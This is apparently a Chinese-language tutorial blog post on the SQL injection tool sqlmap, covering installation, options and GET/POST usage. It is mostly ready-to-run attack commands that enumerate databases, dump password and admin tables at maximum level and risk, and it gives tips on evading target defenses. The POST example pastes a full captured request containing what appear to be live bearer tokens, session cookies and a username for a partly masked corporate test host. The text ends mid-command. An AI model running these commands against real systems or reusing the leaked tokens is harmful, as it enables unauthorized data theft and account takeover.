一.介绍
sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执行各种任务,例如提取数据,访问底层文件系统以及在操作系统上执行命令。
SQLmap 支持多种数据库管理系统,包括
MySQL、Oracle、PostgreSQL、Microsoft SQL Server
等。它可以通过命令行界面或图形化界面进行操作,并提供了丰富的选项和功能,例如指定注入点、指定注入方式、指定数据提取方式等。同时,它也支持自定义脚本和插件,以扩展其功能和适应更多的情况。SQLmap
被广泛应用于渗透测试、安全研究、教育等领域。
SQLmap 使用 Python 语言编写,可以在多种操作系统上运行,例如 Linux、Windows、Mac OS 等。它的使用方法相对简单,但需要一定的 SQL 注入和渗透测试基础,否则可能会对目标系统造成损害。因此,在使用 SQLmap 时,需要遵循合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可。
为了更好地使用 SQLmap,需要了解 SQL 注入漏洞的原理和利用方式,以及目标系统的相关信息和配置。在使用 SQLmap 进行渗透测试时,需要选择合适的注入点和注入方式,并进行参数配置和结果分析。同时,还需要注意防止被目标系统的安全机制检测和防御,例如使用代理、随机延时、避免过多的请求等。最后,在使用 SQLmap 进行渗透测试时,需要保护好自己的安全和隐私,防止泄露个人信息和被攻击者反制。
二.安装 sqlmap
1.创建目录cd /usr/bin mkdir sqlmap-dev 2.拉取代码 git clone https://github.com/sqlmapproject/sqlmap.git 3.配置 vim ~/.bash_profile source ~/.bash_profile alias sqlmap='Python3 /usr/bin/sqlmap-dev/sqlmap.py' 4.验证安装 sqlmap #查看版本 salmap -v #查看版本
三.使用
1.参数说明
-u 指定URL-p 指定参数 -v 指定显示级别 --dbs 目标服务器中的数据库 --current-db 当前数据库 --tables 目标数据库有什么表 --columns 目标表中有什么列 --dump 获取数据 --batch 跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值 --dbms 指定数据库类型 --current-user 查看当前用户 --users 查看所有用户 --passwords 数据库密码 --hostname 系统名称 --banner 数据库信息 --roles 数据库用户角色
level 和 risk
在 SQLmap 中,
需要注意的是,
Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,
sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为 3 级
如下,设置探测等级 5,平台危险等级 3,都是最高级别,进行扫描:
sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3
2.get 方法
1.判断是否有注入点
sqlmap -u "目标url"
2.查看数据库???????
sqlmap -u "目标_url" --dbs --dbms mysql--dbms=DBMS #指定目标数据库类型
3.当前数据库
sqlmap -u "目标_url" --current-db --dbms mysql
4.字段获取
sqlmap -u "目标url" -D 库名 -T 表名 --columns
5.指定字段内容???????
sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump-C COL 指定从某个列查询数据 --dump 查询指定范围的全部数据 (对加密的密码进行彩虹表攻击)
6.样例
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch
3.post 方式
1.保存参数
post.txt???????
POST /xxx-dsc-insight/test/prd/open-api/v1/sku/ck/v1.8.4/page?appid=0 HTTP/1.1Host: xxx-uat.net.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 brandDetailNo: BS01 application: command Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM uid: rongdi Content-Type: application/json;charset=utf-8 silent: true Content-Length: 310 Origin: https://xxx-uat.net.cn Connection: close Referer: https://xxx-uat.net.cn/test/command/bs01/ Cookie: route=4daa8dd1683d45d93b8d439c25742107; brand-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; userId=undefined; tenantId=undefined; expires_in=undefined; refresh_token=undefined; groupId=undefined; _ati=3597590558839; JSESSIONID=88CF2B86EDCE43CA57C3B623FA4A3F13; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E7%9B%B4%E6%8E%A5%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC_%E7%9B%B4%E6%8E%A5%E6%89%93%E5%BC%80%22%2C%22%24latest_referrer%22%3A%22%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg2MmY5N2NhZTQxODUtMDhkNmU5ZTA2NTIyYzQtYzVkNTQyOC0yMDczNjAwLTE4NjJmOTdjYWU1NGU4In0%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%7D; sajssdk_2015_cross_new_user=1; qa-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM; qa-userId=undefined; qa-tenantId=undefined; qa-expires_in=undefined; qa-refresh_token=undefined; qa-groupId=undefined Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"businesscityno":"1","categoryname1":"1","categoryno2":"-1","categoryno3":"-1","date":"2023-02-06","gendername":"7","invqtylist":["c"],"isinvqty":0,"operateevent":"':","page":1,"productcode":"","productyearname":"","regionname":"","regionno":"c","seasonname":"","size":80,"sortname":"salqty","sortord":"desc"}
2.执行
sqlmap -r /Users/qinyingjie/Downloads/post2.txt -p "categoryname1" --level 5 --risk 3 --batch
3.查询结果
四.常用
1.查询库名
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs
2.查询表
-D 指定库名
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables
3.查询列
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns
4.查询列值
吃牢饭指令
python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C pa